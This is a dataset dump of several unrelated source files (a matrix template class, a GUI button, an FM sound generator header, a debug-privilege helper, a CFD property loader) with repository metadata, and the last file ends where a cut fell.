blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
264
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
85
| license_type
stringclasses 2
values | repo_name
stringlengths 5
140
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 986
values | visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 3.89k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 145
values | src_encoding
stringclasses 34
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 3
10.4M
| extension
stringclasses 122
values | content
stringlengths 3
10.4M
| authors
listlengths 1
1
| author_id
stringlengths 0
158
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0cb0653e4e060c1ee40be42512a10e3edee70c94
|
84023126e76b0744f9dd05a1610fd27facd6f742
|
/AlgorithmPractice/BaekJoon문제풀이/BJ_2752_세수정렬.cpp
|
cc0a5f802e709eb40d095bbf8be9cbddd183be2e
|
[] |
no_license
|
JeonghoDean/Dean-sGit
|
bbcad33b5696069f65ec5016c762da3993f82fb4
|
52408e8f8b44301bdc04de3c003399a54dc49581
|
refs/heads/master
| 2022-04-15T09:45:50.352541
| 2020-04-02T06:39:49
| 2020-04-02T06:39:49
| 250,167,512
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 251
|
cpp
|
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include<algorithm>
int main() {
int array[3] = {};
scanf("%d %d %d", &array[0], &array[1], &array[2]);
std::sort(array, array + 3);
printf("%d %d %d", array[0], array[1], array[2]);
return 0;
}
|
[
"wjdgh0827@gmail.com"
] |
wjdgh0827@gmail.com
|
64dbb79082bf2bc647ad7a9677e51c4b2681bbe3
|
44a65a20e9cc789557a26f4192899b782cd931c1
|
/c++/Matrix.h
|
ab8ee52c3b3ff11e02325cb198fe61860238b686
|
[] |
no_license
|
Kylerchrdsn/Matrix
|
14fb3d31cc0a19bb0601b893275d5f8aebbd6488
|
3cde1b03722e5508472829ea0339cc90ff73e1c4
|
refs/heads/master
| 2016-08-04T22:39:13.389871
| 2013-10-08T19:23:02
| 2013-10-08T19:23:02
| 1,730,867
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 14,138
|
h
|
#ifndef MATRIX_H
#define MATRIX_H
#include <iostream>
#include <vector>
#include <algorithm>
template <typename T>
class Matrix{
public:
// constructor and destructor
Matrix(int row = 1, int col = 1);
~Matrix();
// public getters and setters
int getColSize() const;
int getRowSize() const;
T** getMatrix() const;
void setMatrix(T**);
// function to display the matrix
void display();
// overloaded operators ( *, [], =, +, - )
Matrix<T>* operator *(const Matrix<T>& mat) const;
T* operator [](int index) const;
void operator =(Matrix<T>* matrix_);
Matrix<T>* operator +(const Matrix<T>& matrix_) const;
Matrix<T>* operator -(const Matrix<T>& matrix_) const;
// matrix specific operations
T tr();
T det();
void ref();
void rref();
void trans();
void inverse();
void adj();
// functions needed to perform matrix operations
bool isSquare();
int findNonZeroEle(int col);
void swapRows(int row1, int row2);
void makeOne(int row, int col);
void killDown(int startRow, int col);
void killUp(int startRow, int col);
private:
// the matrix
T** matrix;
// matrix dimention
int rowSize,
colSize;
std::vector<int>* flagedRows;
// private setters
void setRowSize(int);
void setColSize(int);
};
//***************************************************************
// constructor and destructor *
//***************************************************************
template <typename T>
Matrix<T>::Matrix(int row, int col){
setColSize(col);
setRowSize(row);
matrix = new T*[rowSize];
for(int i = 0; i < rowSize; i++){
matrix[i] = new T[colSize];
}
matrix[0][0] = 0;
flagedRows = new std::vector<int>;
}
//***************************************************************
template <typename T>
Matrix<T>::~Matrix(){
for(int i = 0; i < rowSize; i++){
delete [] matrix[i];
}
delete [] matrix;
delete flagedRows;
}
//***************************************************************
// public getters and setters *
//***************************************************************
template <typename T>
int Matrix<T>::getColSize() const{
return colSize;
}
//***************************************************************
template <typename T>
int Matrix<T>::getRowSize() const{
return rowSize;
}
//***************************************************************
template <typename T>
T** Matrix<T>::getMatrix() const{
return matrix;
}
//***************************************************************
template <typename T>
void Matrix<T>::setMatrix(T** matrix_){
matrix = matrix_;
}
//***************************************************************
// function to display the matrix *
//***************************************************************
template <typename T>
void Matrix<T>::display(){
for(int j = 0; j < rowSize; j++){
std::cout << "[ ";
for(int i = 0; i < colSize; i++){
std::cout << matrix[j][i] << " ";
}
std::cout << "]" << std::endl;
}
}
//***************************************************************
// overloaded operators ( *, [], =, +, -, ^ ) *
//***************************************************************
template <typename T>
T* Matrix<T>::operator [](int index) const{
return matrix[index];
}
//***************************************************************
template <typename T>
Matrix<T>* Matrix<T>::operator *(const Matrix<T>& mat) const{
Matrix<T>* temp = NULL;
T total;
if(colSize == mat.getRowSize()){
temp = new Matrix<T>(rowSize, mat.getColSize());
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < mat.getColSize(); j++){
total = 0;
for(int k = 0; k < colSize; k++){
total += ((*this)[i][k] * mat[k][j]);
}
(*temp)[i][j] = total;
}
}
}
return temp;
}
//***************************************************************
template <typename T>
void Matrix<T>::operator =(Matrix<T>* mat){
if(mat){
for(int i = 0; i < rowSize; i++){
delete [] matrix[i];
}
delete [] matrix;
matrix = mat->getMatrix();
colSize = mat->getColSize();
rowSize = mat->getRowSize();
T** temp = new T*[mat->getRowSize()];
for(int i = 0; i < mat->getRowSize(); i++){
temp[i] = new T[mat->getColSize()];
}
mat->setMatrix(temp);
delete mat;
}
}
//***************************************************************
template <typename T>
Matrix<T>* Matrix<T>::operator +(const Matrix<T>& matrix_) const
{
Matrix<T>* temp = NULL;
if(rowSize == matrix_.getRowSize() && colSize == matrix_.getColSize()){
temp = new Matrix<T>(rowSize, colSize);
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
(*temp)[i][j] = (*this)[i][j] + matrix_[i][j];
}
}
}
return temp;
}
//***************************************************************
template <typename T>
Matrix<T>* Matrix<T>::operator -(const Matrix<T>& matrix_) const{
Matrix<T>* temp = NULL;
if(rowSize == matrix_.getRowSize() && colSize == matrix_.getColSize()){
temp = new Matrix<T>(rowSize, colSize);
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
(*temp)[i][j] = (*this)[i][j] - matrix_[i][j];
}
}
}
return temp;
}
//***************************************************************
template <typename T>
int operator ^(const Matrix<T>& matrix_, int exp){
int total = 1;
for(int i = 0; i < exp; i++){
total *= (-1);
}
return total;
}
//***************************************************************
// matrix specific operations *
//***************************************************************
template <typename T>
T Matrix<T>::tr(){
T trace = 0;
if(isSquare()){
for(int i = 0; i < rowSize; i++){
trace += (*this)[i][i];
}
}else{
trace = 9001;
}
return trace;
}
//***************************************************************
template <typename T>
T Matrix<T>::det(){
T value = 0; //value of the determinant
Matrix<T>* temp; //temporary matrix to hold the expansion matrix
if(isSquare()){ //if the matrix is square
if(rowSize > 2){ //if the matrix is larger than 2x2
for(int i = 0; i < rowSize; i++){ //expand
temp = new Matrix<T>(rowSize - 1, colSize - 1); //create expansion matrix
for(int j = 0; j < rowSize; j++){
for(int k = 0; k < colSize; k++){
if(j == 0 || k == i){
}else{
if(k <= i || i == rowSize - 1){
(*temp)[j - 1][k] = matrix[j][k];
}else{
(*temp)[j - 1][k - 1] = matrix[j][k];
}
}
}
}
value += (((*this)^(1 + (i + 1))) * matrix[0][i] * temp->det()); //value = value + current expension term
delete temp;
}
}else if(rowSize == 2){ //else if the matrix is 2x2
value = ((*this)[0][0] * (*this)[1][1]) - ((*this)[0][1] * (*this)[1][0]); //compute 2x2 determinant
}else{
value = 9001; //not possible to compute
}
}else{ //otherwise
value = 9001; //not possible to compute
}
return value;
}
//***************************************************************
template <typename T>
void Matrix<T>::ref(){
bool flag = false;
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
if(i == j){
if(matrix[i][j] == 0){
if(findNonZeroEle(j) != -1){
swapRows(i ,findNonZeroEle(j));
}else{
flag = true;
}
}
if(!flag){
makeOne(i, j);
killDown(i, j);
flagedRows->push_back(i);
}
}else if(flag){
if(findNonZeroEle(j) != -1){
swapRows(i ,findNonZeroEle(j));
flag = false;
}else{
flag = true;
}
if(!flag){
makeOne(i, j);
killDown(i, j);
flagedRows->push_back(i);
}
}else if(flag && j == colSize){
i = rowSize;
}
}
}
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
if(matrix[i][j] == -0){
matrix[i][j] = 0;
}
}
}
}
//***************************************************************
template <typename T>
void Matrix<T>::rref(){
ref();
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
if(matrix[i][j] == 1){
killUp(i, j);
}
}
}
}
//***************************************************************
template <typename T>
void Matrix<T>::trans(){
Matrix<T>* temp = new Matrix<T>(colSize, rowSize);
for(int i = 0; i < colSize; i++){
for(int j = 0; j < rowSize; j++){
(*temp)[i][j] = matrix[j][i];
}
}
(*this) = temp;
}
//***************************************************************
template <typename T>
void Matrix<T>::inverse(){
T inValue,
temp;
Matrix<T>* matrix_;
if(isSquare()){
inValue = (1/this->det());
if(rowSize == 2){
temp = matrix[0][0];
matrix[0][0] = matrix[1][1];
matrix[1][1] = temp;
matrix[0][1] = -(matrix[0][1]);
matrix[1][0] = -(matrix[1][0]);
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
matrix[i][j] *= inValue;
}
}
}else{
matrix_ = new Matrix<T>(rowSize, 2 * colSize);
for(int i = rowSize; i < 2 * rowSize; i++){
(*matrix_)[i - rowSize][i] = 1;
}
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
(*matrix_)[i][j] = matrix[i][j];
}
}
matrix_->rref();
for(int i = 0; i < rowSize; i++){
for(int j = 0; j < colSize; j++){
matrix[i][j] = (*matrix_)[i][j + (rowSize - 1)];
}
}
delete matrix_;
}
}
}
//***************************************************************
template <typename T>
void Matrix<T>::adj(){
}
//***************************************************************
// functions needed to perform matrix operations *
//***************************************************************
template <typename T>
bool Matrix<T>::isSquare(){
bool isSquare = (rowSize == colSize) ? 1 : 0;
return isSquare;
}
//***************************************************************
template <typename T>
int Matrix<T>::findNonZeroEle(int col){
int retRow = -1;
std::vector<int>::iterator iter;
for(int i = 0; i < rowSize; i++){
if(matrix[i][col] != 0){
iter = find(flagedRows->begin(), flagedRows->end(), i);
if(iter == flagedRows->end()){
retRow = i;
i = rowSize;
}
}
}
return retRow;
}
//***************************************************************
template <typename T>
void Matrix<T>::swapRows(int row1, int row2){
std::vector<T> temp(colSize);
for(int i = 0; i < colSize; i++){
temp[i] = matrix[row1][i];
matrix[row1][i] = matrix[row2][i];
matrix[row2][i] = temp[i];
}
}
//***************************************************************
template <typename T>
void Matrix<T>::makeOne(int row, int col){
double oneValue = (1 / (double)matrix[row][col]);
for(int i = 0; i < colSize; i++){
matrix[row][i] *= oneValue;
}
}
//***************************************************************
template <typename T>
void Matrix<T>::killDown(int startRow, int col){
std::vector<T> temp(colSize);
T killValue;
for(int i = startRow + 1; i < rowSize; i++){
killValue = -(matrix[i][col]);
for(int j = 0; j < colSize; j++){
temp[j] = killValue*(matrix[startRow][j]);
matrix[i][j] += temp[j];
}
}
}
//***************************************************************
template <typename T>
void Matrix<T>::killUp(int startRow, int col){
std::vector<T> temp(colSize);
T killValue;
for(int i = startRow - 1; i >= 0; i--){
killValue = -(matrix[i][col]);
for(int j = 0; j < colSize; j++){
temp[j] = killValue*(matrix[startRow][j]);
matrix[i][j] += temp[j];
}
}
}
//***************************************************************
// private setters *
//***************************************************************
template <typename T>
void Matrix<T>::setRowSize(int row){
rowSize = row;
}
//***************************************************************
template <typename T>
void Matrix<T>::setColSize(int col){
colSize = col;
}
#endif // MATRIX_H
|
[
"kylerchrdsn@gmail.com"
] |
kylerchrdsn@gmail.com
|
6df0f4468016cb961f83f20332b2962a67b3cecc
|
424ea0036e797176f94246be7f438e65cc734cc2
|
/MyButton.cpp
|
96455a7324c02bbb5bf216bcd59445764fd0d7a2
|
[] |
no_license
|
ngn15002/DVA222_Projekt2
|
db28a36bff28c615f3cfa9b9a5d4c6152f3fe335
|
b574a04e4ced88e1e17bfa68c9f95394411295e9
|
refs/heads/master
| 2021-01-10T06:28:22.039455
| 2016-04-01T00:23:50
| 2016-04-01T00:23:50
| 53,944,061
| 0
| 0
| null | 2016-03-28T15:24:25
| 2016-03-15T12:48:43
|
C
|
UTF-8
|
C++
| false
| false
| 1,812
|
cpp
|
#include "StdAfx.h"
#include "MyButton.h"
#include "Graphix.h"
#include "glut.h"
using namespace std;
// This is just a sample code to show you how you can use different Event Handlers in your code
MyButton::MyButton()
{
hit = pressed = false;
}
MyButton::MyButton(int locX, int locY, int width, int height)
: ControlBase(locX, locY, width, height)
{
hit = pressed = false;
}
MyButton::~MyButton()
{
delete normal;
delete hover;
delete press;
}
//This is called whenever the user moves the mouse around
void MyButton::OnMouseMove(int button, int x, int y)
{
if (x>X && x < X+Width && y>Y && y < Y+Height)
hit = true;
else
{
pressed = hit = false;
}
}
//This is called whenever the application wants to redraw its contents. We have already set it to 30 fps. You cannot change that
void MyButton::OnPaint()
{
if (pressed)
DrawBitmap(*press, X,Y,Width, Height);
else if (hit)
DrawBitmap(*hover, X,Y,Width, Height);
else
DrawBitmap(*normal, X,Y,Width, Height);
}
//Is called once, when the object is being loaded
void MyButton::OnLoaded()
{
//Only 24bit bmp files are supported
//Edit your bitmaps in MSPaint also remember that the width of the image MUST be a factor of 4 (be dividable by 4)
normal = new Bitmap("ButtonNorm.bmp");
hover = new Bitmap("ButtonHover.bmp");
press = new Bitmap("ButtonPressed.bmp");
}
//Is called when the user presses any of the mouse buttons down
void MyButton::OnMouseDown(int button, int x, int y)
{
if(hit && button==MOUSE_LEFT)
pressed = true;
}
//Is called when the user releases any of the mouse buttons down
void MyButton::OnMouseUp(int button, int x, int y)
{
pressed = false;
}
|
[
"linda.singh.johansson@gmail.com"
] |
linda.singh.johansson@gmail.com
|
73adbc7634031fb87f07cb2ce0743527171e09bd
|
64bd2dbc0d2c8f794905e3c0c613d78f0648eefc
|
/Cpp/SDK/wld_sea_rock_cluster_e_parameters.h
|
2f08c047cb8bf17a084f08bc7e5823224a7c2c46
|
[] |
no_license
|
zanzo420/SoT-Insider-SDK
|
37232fa74866031dd655413837813635e93f3692
|
874cd4f4f8af0c58667c4f7c871d2a60609983d3
|
refs/heads/main
| 2023-06-18T15:48:54.547869
| 2021-07-19T06:02:00
| 2021-07-19T06:02:00
| 387,354,587
| 1
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 552
|
h
|
#pragma once
// Name: SoT Insider, Version: 1.103.4306.0
/*!!DEFINE!!*/
/*!!HELPER_DEF!!*/
/*!!HELPER_INC!!*/
#ifdef _MSC_VER
#pragma pack(push, 0x01)
#endif
namespace CG
{
//---------------------------------------------------------------------------
// Parameters
//---------------------------------------------------------------------------
// Function wld_sea_rock_cluster_e.wld_sea_rock_cluster_e_C.UserConstructionScript
struct Awld_sea_rock_cluster_e_C_UserConstructionScript_Params
{
};
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
|
[
"zp2kshield@gmail.com"
] |
zp2kshield@gmail.com
|
7ea7bbbdabc51bd36784aa38adf3605ef1f804da
|
30d2ecf57fe4c7876e5378ad14d0bc60e0ab7aa9
|
/src/devices/fmgen.h
|
ce248808159c805ca837a04a8a0231412e63614a
|
[] |
no_license
|
tcaudilllg/m88
|
88a57a2ccdb2e4d87f97ca04507a200ae07236c3
|
8e75367fdd1f9d2be2dfe1dd5b53a9e249a412a2
|
refs/heads/master
| 2021-01-01T16:00:51.956632
| 2016-10-15T03:41:02
| 2016-10-15T03:41:02
| null | 0
| 0
| null | null | null | null |
SHIFT_JIS
|
C++
| false
| false
| 6,532
|
h
|
// ---------------------------------------------------------------------------
// FM Sound Generator
// Copyright (C) cisc 1998, 2001.
// ---------------------------------------------------------------------------
// $Id: fmgen.h,v 1.37 2003/08/25 13:33:11 cisc Exp $
#ifndef FM_GEN_H
#define FM_GEN_H
//#include "types.h"
// ---------------------------------------------------------------------------
// 出力サンプルの型
//
#define FM_SAMPLETYPE int32 // int16 or int32
// ---------------------------------------------------------------------------
// 定数その1
// 静的テーブルのサイズ
#define FM_LFOBITS 8 // 変更不可
#define FM_TLBITS 7
// ---------------------------------------------------------------------------
#define FM_TLENTS (1 << FM_TLBITS)
#define FM_LFOENTS (1 << FM_LFOBITS)
#define FM_TLPOS (FM_TLENTS/4)
// サイン波の精度は 2^(1/256)
#define FM_CLENTS (0x1000 * 2) // sin + TL + LFO
// ---------------------------------------------------------------------------
namespace FM
{
// Types ----------------------------------------------------------------
typedef FM_SAMPLETYPE Sample;
typedef int32 ISample;
enum OpType { typeN=0, typeM=1 };
void StoreSample(ISample& dest, int data);
class Chip;
// Operator -------------------------------------------------------------
class Operator
{
public:
Operator();
void SetChip(Chip* chip) { chip_ = chip; }
static void MakeTimeTable(uint ratio);
ISample Calc(ISample in);
ISample CalcL(ISample in);
ISample CalcFB(uint fb);
ISample CalcFBL(uint fb);
ISample CalcN(uint noise);
void Prepare();
void KeyOn();
void KeyOff();
void Reset();
void ResetFB();
int IsOn();
void SetDT(uint dt);
void SetDT2(uint dt2);
void SetMULTI(uint multi);
void SetTL(uint tl, bool csm);
void SetKS(uint ks);
void SetAR(uint ar);
void SetDR(uint dr);
void SetSR(uint sr);
void SetRR(uint rr);
void SetSL(uint sl);
void SetSSGEC(uint ssgec);
void SetFNum(uint fnum);
void SetDPBN(uint dp, uint bn);
void SetMode(bool modulator);
void SetAMON(bool on);
void SetMS(uint ms);
void Mute(bool);
// static void SetAML(uint l);
// static void SetPML(uint l);
int Out() { return out_; }
int dbgGetIn2() { return in2_; }
void dbgStopPG() { pg_diff_ = 0; pg_diff_lfo_ = 0; }
private:
typedef uint32 Counter;
Chip* chip_;
ISample out_, out2_;
ISample in2_;
// Phase Generator ------------------------------------------------------
uint32 PGCalc();
uint32 PGCalcL();
uint dp_; // ΔP
uint detune_; // Detune
uint detune2_; // DT2
uint multiple_; // Multiple
uint32 pg_count_; // Phase 現在値
uint32 pg_diff_; // Phase 差分値
int32 pg_diff_lfo_; // Phase 差分値 >> x
// Envelop Generator ---------------------------------------------------
enum EGPhase { next, attack, decay, sustain, release, off };
void EGCalc();
void EGStep();
void ShiftPhase(EGPhase nextphase);
void SSGShiftPhase(int mode);
void SetEGRate(uint);
void EGUpdate();
int FBCalc(int fb);
ISample LogToLin(uint a);
OpType type_; // OP の種類 (M, N...)
uint bn_; // Block/Note
int eg_level_; // EG の出力値
int eg_level_on_next_phase_; // 次の eg_phase_ に移る値
int eg_count_; // EG の次の変移までの時間
int eg_count_diff_; // eg_count_ の差分
int eg_out_; // EG+TL を合わせた出力値
int tl_out_; // TL 分の出力値
// int pm_depth_; // PM depth
// int am_depth_; // AM depth
int eg_rate_;
int eg_curve_count_;
int ssg_offset_;
int ssg_vector_;
int ssg_phase_;
uint key_scale_rate_; // key scale rate
EGPhase eg_phase_;
uint* ams_;
uint ms_;
uint tl_; // Total Level (0-127)
uint tl_latch_; // Total Level Latch (for CSM mode)
uint ar_; // Attack Rate (0-63)
uint dr_; // Decay Rate (0-63)
uint sr_; // Sustain Rate (0-63)
uint sl_; // Sustain Level (0-127)
uint rr_; // Release Rate (0-63)
uint ks_; // Keyscale (0-3)
uint ssg_type_; // SSG-Type Envelop Control
bool keyon_;
bool amon_; // enable Amplitude Modulation
bool param_changed_; // パラメータが更新された
bool mute_;
// Tables ---------------------------------------------------------------
static Counter rate_table[16];
static uint32 multable[4][16];
static const uint8 notetable[128];
static const int8 dttable[256];
static const int8 decaytable1[64][8];
static const int decaytable2[16];
static const int8 attacktable[64][8];
static const int ssgenvtable[8][2][3][2];
static uint sinetable[1024];
static int32 cltable[FM_CLENTS];
static bool tablehasmade;
static void MakeTable();
// friends --------------------------------------------------------------
friend class Channel4;
friend void __stdcall FM_NextPhase(Operator* op);
public:
int dbgopout_;
int dbgpgout_;
static const int32* dbgGetClTable() { return cltable; }
static const uint* dbgGetSineTable() { return sinetable; }
};
// 4-op Channel ---------------------------------------------------------
class Channel4
{
public:
Channel4();
void SetChip(Chip* chip);
void SetType(OpType type);
ISample Calc();
ISample CalcL();
ISample CalcN(uint noise);
ISample CalcLN(uint noise);
void SetFNum(uint fnum);
void SetFB(uint fb);
void SetKCKF(uint kc, uint kf);
void SetAlgorithm(uint algo);
int Prepare();
void KeyControl(uint key);
void Reset();
void SetMS(uint ms);
void Mute(bool);
void Refresh();
void dbgStopPG() { for (int i=0; i<4; i++) op[i].dbgStopPG(); }
private:
static const uint8 fbtable[8];
uint fb;
int buf[4];
int* in[3]; // 各 OP の入力ポインタ
int* out[3]; // 各 OP の出力ポインタ
int* pms;
int algo_;
Chip* chip_;
static void MakeTable();
static bool tablehasmade;
static int kftable[64];
public:
Operator op[4];
};
// Chip resource
class Chip
{
public:
Chip();
void SetRatio(uint ratio);
void SetAML(uint l);
void SetPML(uint l);
void SetPMV(int pmv) { pmv_ = pmv; }
uint32 GetMulValue(uint dt2, uint mul) { return multable_[dt2][mul]; }
uint GetAML() { return aml_; }
uint GetPML() { return pml_; }
int GetPMV() { return pmv_; }
uint GetRatio() { return ratio_; }
private:
void MakeTable();
uint ratio_;
uint aml_;
uint pml_;
int pmv_;
OpType optype_;
uint32 multable_[4][16];
};
}
#endif // FM_GEN_H
|
[
"rururutan@gmail.com"
] |
rururutan@gmail.com
|
5ca314588a516005ac8cec605acbb7d60ac52130
|
4bb26cd990c3030554c842e3287cf89140f238b4
|
/magnesfuncs.cpp
|
1cf105ff9dccde58fa2fa179f3bf0e6620bbc280
|
[] |
no_license
|
dany74q/MagnesDbg
|
ac2a9a49c5fadd126d99a15718bf950441e91126
|
4c370a81a96d112a8d080ea65bf07c34073e10ae
|
refs/heads/master
| 2016-08-04T11:34:17.118030
| 2012-08-10T17:11:32
| 2012-08-10T17:11:32
| 5,369,332
| 5
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,177
|
cpp
|
#include "windows.h"
#include "Tlhelp32.h"
#include "stdio.h"
#include "conio.h"
#include "DbgHelp.h"
#include "magnesfuncs.h"
#pragma comment(lib, "Dbghelp.lib")
DWORD PidByName(WCHAR * name)
{
DWORD dwPid;
BOOL success;
PROCESSENTRY32 prProcess;
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //snapping all processes
prProcess.dwSize = sizeof(PROCESSENTRY32);
success = Process32First(hProcessSnap,&prProcess);
do{
if(wcscmp(name,prProcess.szExeFile) == 0)
{
return prProcess.th32ProcessID;
}
}while(Process32Next( hProcessSnap, &prProcess ));
return -1;
}
BOOL EnableDebugPrivilege(BOOL bEnable)
{
BOOL bOk = FALSE;
HANDLE hToken;
if(::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
LUID uID;
::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &uID);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = uID;
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
::AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
bOk = (::GetLastError() == ERROR_SUCCESS);
::CloseHandle(hToken);
}
return bOk;
}
|
[
"mose122@gmail.com"
] |
mose122@gmail.com
|
d84c2a242cd18b001972ac081386d59e0b3c7746
|
5d83739af703fb400857cecc69aadaf02e07f8d1
|
/Archive2/2f/a7e64ce3a5595d/main.cpp
|
11c4f9123639be1d0d3cae4466d4a2b3b9d61ac0
|
[] |
no_license
|
WhiZTiM/coliru
|
3a6c4c0bdac566d1aa1c21818118ba70479b0f40
|
2c72c048846c082f943e6c7f9fa8d94aee76979f
|
refs/heads/master
| 2021-01-01T05:10:33.812560
| 2015-08-24T19:09:22
| 2015-08-24T19:09:22
| 56,789,706
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,830
|
cpp
|
#include <functional>
#include <iostream>
#include <stdexcept>
#include <string>
#include <sstream>
#include <unordered_map>
#include <memory>
template<typename R>
struct invoke_helper
{
template<typename F, typename... As>
invoke_helper(F func, As&&... as)
: result(func(std::forward<As>(as)...))
{}
R result;
};
template<>
struct invoke_helper<void>
{
template<typename F, typename... As>
invoke_helper(F func, As&&... as)
{
func(std::forward<As>(as)...);
}
};
class stream_function
{
public:
template<typename A, typename... B>
stream_function(std::function<A(B...)> func)
: impl_(new stream_function_impl<std::function<A(B...)>, A, B...>(func))
{}
inline void operator()(std::istream& in, std::ostream& out) const
{
impl_->invoke(in, out);
}
inline std::size_t arity() const
{
return impl_->arity();
}
private:
class stream_function_impl_base
{
public:
virtual ~stream_function_impl_base() {}
virtual void invoke(std::istream& in, std::ostream& out) const = 0;
virtual std::size_t arity() const = 0;
};
template<typename F, typename R, typename... As>
class stream_function_impl : stream_function_impl_base
{
public:
stream_function_impl(const F& func)
: func_(func)
{}
stream_function_impl(F&& func)
: func_(std::forward<F>(func))
{}
virtual void invoke(std::istream& in, std::ostream& out) const
{
invoke_impl(in, out);
}
private:
template<typename T>
T arg(std::istream& in) const
{
T t{};
if (!(in >> t))
{
in.clear();
throw std::invalid_argument("Invalid argument");
}
return t;
}
inline void invoke_impl(std::istream& in, std::ostream& out, std::true_type) const
{
invoke_helper<void>{func_, arg<As>(in)...};
}
inline void invoke_impl(std::istream& in, std::ostream& out, std::false_type) const
{
out << invoke_helper<R>{func_, arg<As>(in)...}.result;
}
F func_;
};
std::unique_ptr<stream_function_impl_base> impl_;
};
class any_function
{
public:
virtual ~any_function() {}
virtual void operator()(std::istream& in, std::ostream& out) const { std::cout << "srocz" << std::endl; };
virtual std::size_t arity() const { return 0; };
};
template<typename R>
struct invoke_impl
{
template<typename F, typename... As>
invoke_impl(F func, As&&... as)
: result(func(std::forward<As>(as)...))
{}
R result;
};
template<>
struct invoke_impl<void>
{
template<typename F, typename... As>
invoke_impl(F func, As&&... as)
{
func(std::forward<As>(as)...);
}
};
template<typename F, typename S>
class any_function_impl;
template<typename F, typename R, typename... As>
class any_function_impl<F, R(As...)> : public any_function
{
public:
explicit any_function_impl(F func) : func_(func) {}
void operator()(std::istream& in, std::ostream& out) const override
{
invoke(in, out, std::is_void<R>());
}
std::size_t arity() const override
{
return sizeof...(As);
}
private:
inline void invoke(std::istream& in, std::ostream& out, std::true_type) const
{
std::cout << "invoking 1" << std::endl;
invoke_impl<void>{func_, get_arg<As>(in)...};
}
inline void invoke(std::istream& in, std::ostream& out, std::false_type) const
{
std::cout << "invoking 2" << std::endl;
out << invoke_impl<R>{func_, get_arg<As>(in)...}.result;
}
template<typename T>
T get_arg(std::istream& in) const
{
T t{};
if (!(in >> t))
{
in.clear();
throw std::invalid_argument("Invalid argument");
}
return t;
}
F func_;
};
template<typename R, typename... As>
any_function make_any_function(std::function<R(As...)> func)
{
return any_function_impl<std::function<R(As...)>, R(As...)>{func};
}
int add(int a, int b)
{
return a + b;
}
int sub(int a, int b)
{
return a - b;
}
int main(int argc, char* argv[])
{
std::function<int (int, int)> a = &add;
std::function<int (int, int)> s = ⊂
std::unordered_map<std::string, any_function> map
{
{"add", make_any_function(a)},
{"sub", make_any_function(s)}
};
std::stringstream ss;
ss << "1" << std::endl;
ss << "2" << std::endl;
map.at("add")(ss, std::cout);
return 0;
}
|
[
"francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df"
] |
francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df
|
b6ce02098e2228648647bf1791e154d5d2d71c74
|
de9965b4835b9cbbcc738ce885b598dad7069096
|
/src/MaterialProperties.cpp
|
50246c0b965578389b7a5ce8bf887cbf00868e93
|
[] |
no_license
|
wanyzh/HOFlow
|
607db85cd763aa116c2c40beddb8f757b74addfe
|
0ff738311626e34f472e90cbbb4026efa323222b
|
refs/heads/master
| 2021-03-17T14:48:16.683245
| 2019-05-11T15:30:19
| 2019-05-11T15:30:19
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,629
|
cpp
|
/*------------------------------------------------------------------------*/
/* HOFlow - Higher Order Flow */
/* CFD Solver based ond CVFEM */
/*------------------------------------------------------------------------*/
#include "MaterialProperties.h"
#include <HOFlowParsing.h>
#include <MaterialProperty.h>
#include <Simulation.h>
#include <Realm.h>
MaterialProperties::MaterialProperties(Realm & realm) :
realm_(realm)
{
// nothing to do
}
MaterialProperties::~MaterialProperties() {
for ( size_t i = 0; i < materialPropertyVector_.size(); ++i ) {
delete materialPropertyVector_[i];
}
}
void MaterialProperties::load(const YAML::Node & node) {
const YAML::Node y_material_propertys = node["material_properties"];
if (y_material_propertys) {
// support two input file options
const YAML::Node y_props = expect_sequence(y_material_propertys, "properties", true);
if (y_props) {
for (size_t iprop = 0; iprop < y_props.size(); ++iprop) {
const YAML::Node y_prop = y_props[iprop] ;
// extract name
std::string materialBlockName = "na";
get_required(y_prop, "name", materialBlockName);
// create a new material property object
MaterialProperty *matPropBlock = new MaterialProperty(*this, materialBlockName);
// load and push back
matPropBlock->load(y_prop);
materialPropertyVector_.push_back(matPropBlock);
// push back target names to material propertys
targetNames_.insert(targetNames_.begin(), matPropBlock->targetNames_.begin(), matPropBlock->targetNames_.end());
}
}
else {
// create a new material property object with default name
MaterialProperty *matPropBlock = new MaterialProperty(*this, "default");
// load and push back
matPropBlock->load(y_material_propertys);
